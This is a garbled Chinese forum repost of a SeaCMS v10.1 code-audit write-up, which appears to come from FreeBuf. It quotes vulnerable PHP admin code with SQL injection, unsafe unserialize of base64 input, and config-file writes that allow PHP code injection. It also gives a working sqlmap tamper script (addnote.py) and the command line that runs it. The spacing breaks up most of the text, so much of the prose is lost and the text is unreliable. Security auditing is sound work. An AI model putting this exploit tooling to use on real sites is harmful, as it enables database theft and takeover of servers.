[15597] 2020-07-12_SeaCMSv10.1代码审计实战

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2020-07-12_SeaCMSv10.1代码审计实战 S e a C M S   v 1 0 . 1 j o e 1 1 9   F r e e B u f   2 0 2 0 - 0 7 - 1 2 s e a c m s c m s p h p s t u d y   p r o p h p 5 . 4 . 4 5 n t s s e a y p h p s t r o m s q l m a p s e a c m s   v 1 0 . 1 c m s h t t p s : / / p a n . b a i d u . c o m / s / 1 f 9 m X y O X 6 s g s e r s y N z - k D Q g j 3 k 0 c m s C M S 使 c m s x r a y x r a y s q l s e a y p h p s t r o m p h p s t r o m p a y l o a d
a d m i n   / / w 1 a q h p   c o p l u g i n s   / /   e b a k   / /   e d i t o r   / /   i m g   / /   j s   / / j s   t e m p l e t s   / / a r t i c l e   / / a r t i c l e l i s t   / / c o m m e n t   / /   a p i   / /   i m a g e s   / /   j s   / / j s d a t a   / /   a d m i n   / /   c a c h e   / /   m a r k   / /   s e s s i o n s   / / s e s s i o n s d e t a i l   / / i n c l u d e   / /   c r o n s   / /   d a t a   / /   i n c   / /   w e b s c a n   / / 3 6 0 i n s t a l l   / /   i m a g e s   / /   t e m p l a t e s   / / j s   / / j s
  a d s   / / 广   p l a y e r   / / l i s t   / / n e w s   / / p i c   / /   f a c e s   / /   m e m b e r   / /   s l i d e   / / F l a s h   z t   / / t e m p l e t s   / / t o p i c   / / t o p i c l i s t   / / u p l o a d s   / / v i d e o   / / w e i x i n   / / i n d e x . p h p   / / s q l s q l 使 使 s q l 使 使 s e l e c t s q l w 1 a q h p a d m i n _ a j a x . p h p 7 6 e l s e i f ( $ a c t i o n = = " c h e c k r e p e a t " ) {         $ v _ n a m e = i c o n v ( ' u t f - 8 ' , ' u t f - 8 ' , $ _ G E T [ " v _ n a m e " ] ) ;           $ r o w = $ d s q l - > G e t O n e ( " s e l e c t   c o u n t ( * )   a s   d d   f r o m   s e a _ d a t a   w h e r e   v _ n a m e = ' $ v _ n a m e ' " ) ;         $ n u m = $ r o w [ G e t O n e       f u n c t i o n   G e t O n e ( $ s q l = ' '   )         {                 g l o b a l   $ d s q l ;                 i f ( $ d s q l - > i s C l o s e )                 {                         $ t h i s - > O p e n ( f a l s e ) ;                         $ d s q l - > i s C l o s e   =   f a l s e ;                 }                 / / S Q L                 C h e c k S q l / / S Q L 8 0 s e c f u n c t i o n   C h e c k S q l ( $ d b _ s t r i n g , $ q u e r y t y p e = ' s e l e c t ' ) {         g l o b a l   $ c f g _ c o o k i e _ e n c o d e ;         $ c l e a n   =   ' ' ;         $ e r r o r = ' ' ;         $ o l d _ p o s   =   0 ;         $ p o s   =   - 6 2 3 s t r t o l o w e r w 1 a q h p / a d m i n _ c o m m e n t _ n e w s . p h p 5 4 e l s e i f ( $ a c t i o n = = " d e l a l l c o m m e n t " ) {         i f ( e m p t y ( $ e _ i d ) )         {                 S h o w M s g ( " " , " - 1 " ) ;                 e x i t ( ) ;         }         $ i d s   =   i m p l o d e ( ' , ' , $ e _ i d ) ;         d e l c o m m e n t c a c h e ( $ i d s ) ;         $ d s q l - > E x e c u t e N o n e Q u e r y ( e _ i d d e l c o m m e n t c a c h e f u n c t i o n   d e l c o m m e n t c a c h e ( $ i d ) {         g l o b a l   $ d s q l ;         $ d s q l - > s e t Q u e r y ( " s e l e c t   v _ i d   f r o m   s e a _ c o m m e n t   w h e r e   i d   i n   ( " . $ i d . " ) " ) ;         $ d s q l - > E x e c u t e ( " d e l c o m m e n t c a c h e " ) ;         w h i l e ( $ r o w   =   $ d s q l - > G e t A r r a y ( s e t Q u e r y         / / S Q L S Q L s e a _ $ t h i s - > d b P r e f i x ( $ c f g _ d b p r e f i x )         f u n c t i o n   S e t Q u e r y ( $ s q l )         {                 $ p r e f i x = " s e a _ " ;                 $ s q l   =   s t r _ r e p l a c e ( $ p r e f i x E x e c u t e         f u n c t i o n   E x e c u t e ( $ i d = " m e " ,   $ s q l = ' ' )         {                 g l o b a l   $ d s q l ;                 s e l f : : $ i + + ;                 i f ( $ d s q l - > i s C l o s e )                 {                         $ t h i s - > O p e n ( f a l s e ) ;                         $ d s q l - > i s C l o s e   =  
s q l s q l 4 4 s q l s q l m a p         f u n c t i o n   E x e c u t e ( $ i d = " m e " ,   $ s q l = ' ' )         {                 g l o b a l   $ d s q l ;                 s e l f : : $ i + + ;                 i f ( $ d s q l - > i s C l o s e )                 {                         $ t h i s - > O p e n ( f a l s e ) ;                         $ d s q l - > i s C l o s e   =   w 1 a q h p / a d m i n _ v i d e o . p h p 8 5 - 8 8 1 2 3 1 2 4 E x e c u t e N o n e Q u e r y         f u n c t i o n   E x e c u t e N o n e Q u e r y ( $ s q l = ' ' )         {                 g l o b a l   $ d s q l ;                 s e l f : : $ i + + ;                 i f ( $ d s q l - > i s C l o s e )                 {                         $ t h i s - > O p e n ( f a l s e ) ;                         $ d s q l - > i s C l o s e   =  
s q l 使 w 1 a q h p / a d m i n _ c o l l e c t _ n e w s . p h p 3 8 2 i m p o r t o k e l s e i f ( $ a c t i o n = = " i m p o r t o k " ) {         $ i m p o r t r u l e   =   t r i m ( $ i m p o r t r u l e ) ;         i f ( e m p t y ( $ i m p o r t r u l e ) )         {                 S h o w M s g ( " " , " - 1 " ) ;                 e x i t ( ) ;         }         / / B a s e 6 4         i f ( m _ e r e g ( ' ^ B A S E 6 4 : ' , $ i m p o r t r u l e ) )         {                 i f ( ! m _ e r e g ( ' : E N D $ ' , $ i m p o r t r u l e ) )                 {                         S h o w M s g ( ' B a s e 6 4 B A S E 6 4 : b a s e 6 4 : E N D   ! ' , ' - 1 ' ) ;                         e x i t ( ) ;                 }                 $ i m p o r t r u l e s   =   e x p l o d e ( ' : ' , $ i m p o r t r u l e ) ;                 $ i m p o r t r u l e   =   $ i m p o r t r u l e s [ 1 ] ;                 $ i m p o r t r u l e   =   u n s e r i a l i z e ( b a s e 6 4 _ d e c o d e ( $ i m p o r t r u l e ) )   O R     d i e ( ' ' ) ;                 / / d i e ( b a s e 6 4 _ d e c o d e ( $ i m p o r t r u l e ) ) ;         }         e l s e         {                 S h o w M s g ( ' B a s e 6 4 B A S E 6 4 : b a s e 6 4 : E N D   ! ' , ' - 1 ' ) ;                 e x i t ( ) ;         }         i f ( ! i s _ a r r a y ( $ i m p o r t r u l e )   | |   ! i s _ a r r a y ( $ i m p o r t r u l e [ ' c o n f i g ' ] )   | |   ! i s _ a r r a y ( $ i m p o r t r u l e [ ' t y p e ' ] ) )         {                 S h o w M s g ( ' ! ' , ' - 1 ' ) ;                 e x i t ( ) ;         }         $ d a t a   =   $ i m p o r t r u l e [ ' c o n f i g ' ] ;         u n s e t ( $ d a t a [ ' c i d ' ] ) ;         $ d a t a [ ' c n a m e ' ] . = " ( : " . d a t e ( " Y - m - d   H : i : s " ) . " ) " ;         $ d a t a [ ' c o t y p e ' ]   =   ' 1 ' ;         $ s q l   =   s i ( " s e a _ c o _ c o n f i g " , $ d a t a , 1 ) ;         $ d s q l - > E x e c u t e N o n e Q u e r y ( $ s q l ) ;         $ c i d   =   $ d s q l - > G e t L a s t I D ( ) ;         i f   ( ! e m p t y ( $ i m p o r t r u l e [ ' t y p e ' ] ) ) {                 f o r e a c h   ( $ i m p o r t r u l e [ ' t y p e ' ]   a s   $ t y p e ) {                         u n s e t ( $ t y p e [ ' t i d ' ] ) ;                         $ t y p e [ ' c i d ' ]   =   $ c i d ;                         $ t y p e [ ' a d d t i m e ' ]   =   t i m e ( ) ;                         $ t y p e [ ' c j t i m e ' ]   =   ' ' ;                         $ t y p e [ ' c o t y p e ' ]   =   ' 1 ' ;                         $ d a t a   =   $ t y p e ;                         $ s q l   =   s i ( " s e a _ c o _ t y p e " , $ d a t a , 1 ) ;
  s q l s q l s q l m a p t a m p e r s q l m a p 使 s e t                         $ s q l   =   s i ( " s e a _ c o _ t y p e " , $ d a t a , 1 ) ;                         $ d s q l - > E x e c u t e N o n e Q u e r y ( $ s q l ) ;                 }         }         S h o w M s g ( ' ! ' , ' a d m i n _ c o l l e c t _ n e w s . p h p ' ) ;         e x i t ; } b a s e 6 4 4 0 8 4 1 7 4 1 8 E x e c u t e N o n e Q u e r y a d d n o t e . p y # ! / u s r / b i n / e n v   p y t h o n # a d d n o t e . p y " " " C o p y r i g h t   ( c )   2 0 0 6 - 2 0 1 9   s q l m a p   d e v e l o p e r s   ( h t t p : / / s q l m a p . o r g / ) S e e   t h e   f i l e   ' L I C E N S E '   f o r   c o p y i n g   p e r m i s s i o n " " " i m p o r t   r e i m p o r t   b a s e 6 4 f r o m   l i b . c o r e . c o m m o n   i m p o r t   r a n d o m R a n g e f r o m   l i b . c o r e . c o m p a t   i m p o r t   x r a n g e f r o m   l i b . c o r e . d a t a   i m p o r t   k b f r o m   l i b . c o r e . e n u m s   i m p o r t   P R I O R I T Y _ _ p r i o r i t y _ _   =   P R I O R I T Y . H I G H d e f   d e p e n d e n c i e s ( ) :         p a s s d e f   t a m p e r ( p a y l o a d ,   * * k w a r g s ) :         b = ' g e t l i s t n u m ` )   v a l u e s ( 3 + ( 1 = 2   q q q ) ) # '         b = b . r e p l a c e ( ' q q q ' , p a y l o a d )         a = ' a : 2 : { s : 6 : " c o n f i g " ; a : 3 : { s : 5 : " c n a m e " ; s : 1 : " 1 " ; s : 6 : " c o t y p e " ; s : 1 : " 1 " ; s : l e n : " s t r i n g " ; i : 1 2 3 ; } s : 4 : " t y p e " ; a : 0 : { } } '         a = a . r e p l a c e ( ' l e n ' , s t r ( l e n ( b ) ) )         a = a . r e p l a c e ( ' s t r i n g ' , b )         r e t V a l = " B A S E 6 4 : " + b a s e 6 4 . b 6 4 e n c o d e ( a ) + " : E N D "         r e t u r n   r e t V a l s q l m a p . p y   - r   C : U s e r s 1 1 9 6 2 D e s k t o p 1 2 . t x t   - p   i m p o r t r u l e   - - d b m s   m y s q l   - - r i s k   3   - v   3   - - d b s   - - t a m p e r = a d d n o t e w 1 a q h p / a d m i n _ i p . p h p i f ( $ a c t i o n = = " s e t " )
p a y l o a d 使 i f ( $ a c t i o n = = " s e t " ) {         $ v =   $ _ P O S T [ ' v ' ] ;         $ i p   =   $ _ P O S T [ ' i p ' ] ;         $ o p e n = f o p e n ( " . . / d a t a / a d m i n / i p . p h p " , " w "   ) ;         $ s t r = ' < ? p h p   ' ;         $ s t r . = ' $ v   =   " ' ;         $ s t r . = " $ v " ;         $ s t r . = ' " ;   ' ;         $ s t r . = ' $ i p   =   " ' ;         $ s t r . = " $ i p " ;         $ s t r . = ' " ;   ' ;         $ s t r . = "   ? > " ;         f w r i t e ( $ o p e n , $ s t r ) ;         f c l o s e ( $ o p e n ) ;         S h o w M s g ( " ! " , " a d m i n _ i p . p h p " ) ;         e x i t ; } d a t a a d m i n i p . p h p w 1 a q h p / a d m i n _ w e i x i n . p h p s e t
p a y l o a d 访 1 1 8 / d a t a / a d m i n / w e i x i n . p h p w 1 a q h p / a d m i n _ n o t i f y . p h p i f ( $ a c t i o n = = " s e t " ) {         $ n o t i f y 1 =   $ _ P O S T [ ' n o t i f y 1 ' ] ;         $ n o t i f y 2 =   $ _ P O S T [ ' n o t i f y 2 ' ] ;         $ n o t i f y 3 =   $ _ P O S T [ ' n o t i f y 3 ' ] ;
p a y l o a d 访 / d a t a / a d m i n / n o t i f y . p h p c m s s e a y         $ n o t i f y 3 =   $ _ P O S T [ ' n o t i f y 3 ' ] ;         $ o p e n = f o p e n ( " . . / d a t a / a d m i n / n o t i f y . p h p " , " w "   ) ;         $ s t r = ' < ? p h p   ' ;         $ s t r . = ' $ n o t i f y 1   =   " ' ;         $ s t r . = " $ n o t i f y 1 " ;         $ s t r . = ' " ;   ' ;         $ s t r . = ' $ n o t i f y 2   =   " ' ;         $ s t r . = " $ n o t i f y 2 " ;         $ s t r . = ' " ;   ' ;         $ s t r . = ' $ n o t i f y 3   =   " ' ;         $ s t r . = " $ n o t i f y 3 " ;         $ s t r . = ' " ;   ' ;         $ s t r . = "   ? > " ;         f w r i t e ( $ o p e n , $ s t r ) ;         f c l o s e ( $ o p e n ) ;         S h o w M s g ( " ! " , " a d m i n _ n o t i f y . p h p " ) ;         e x i t ; }

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则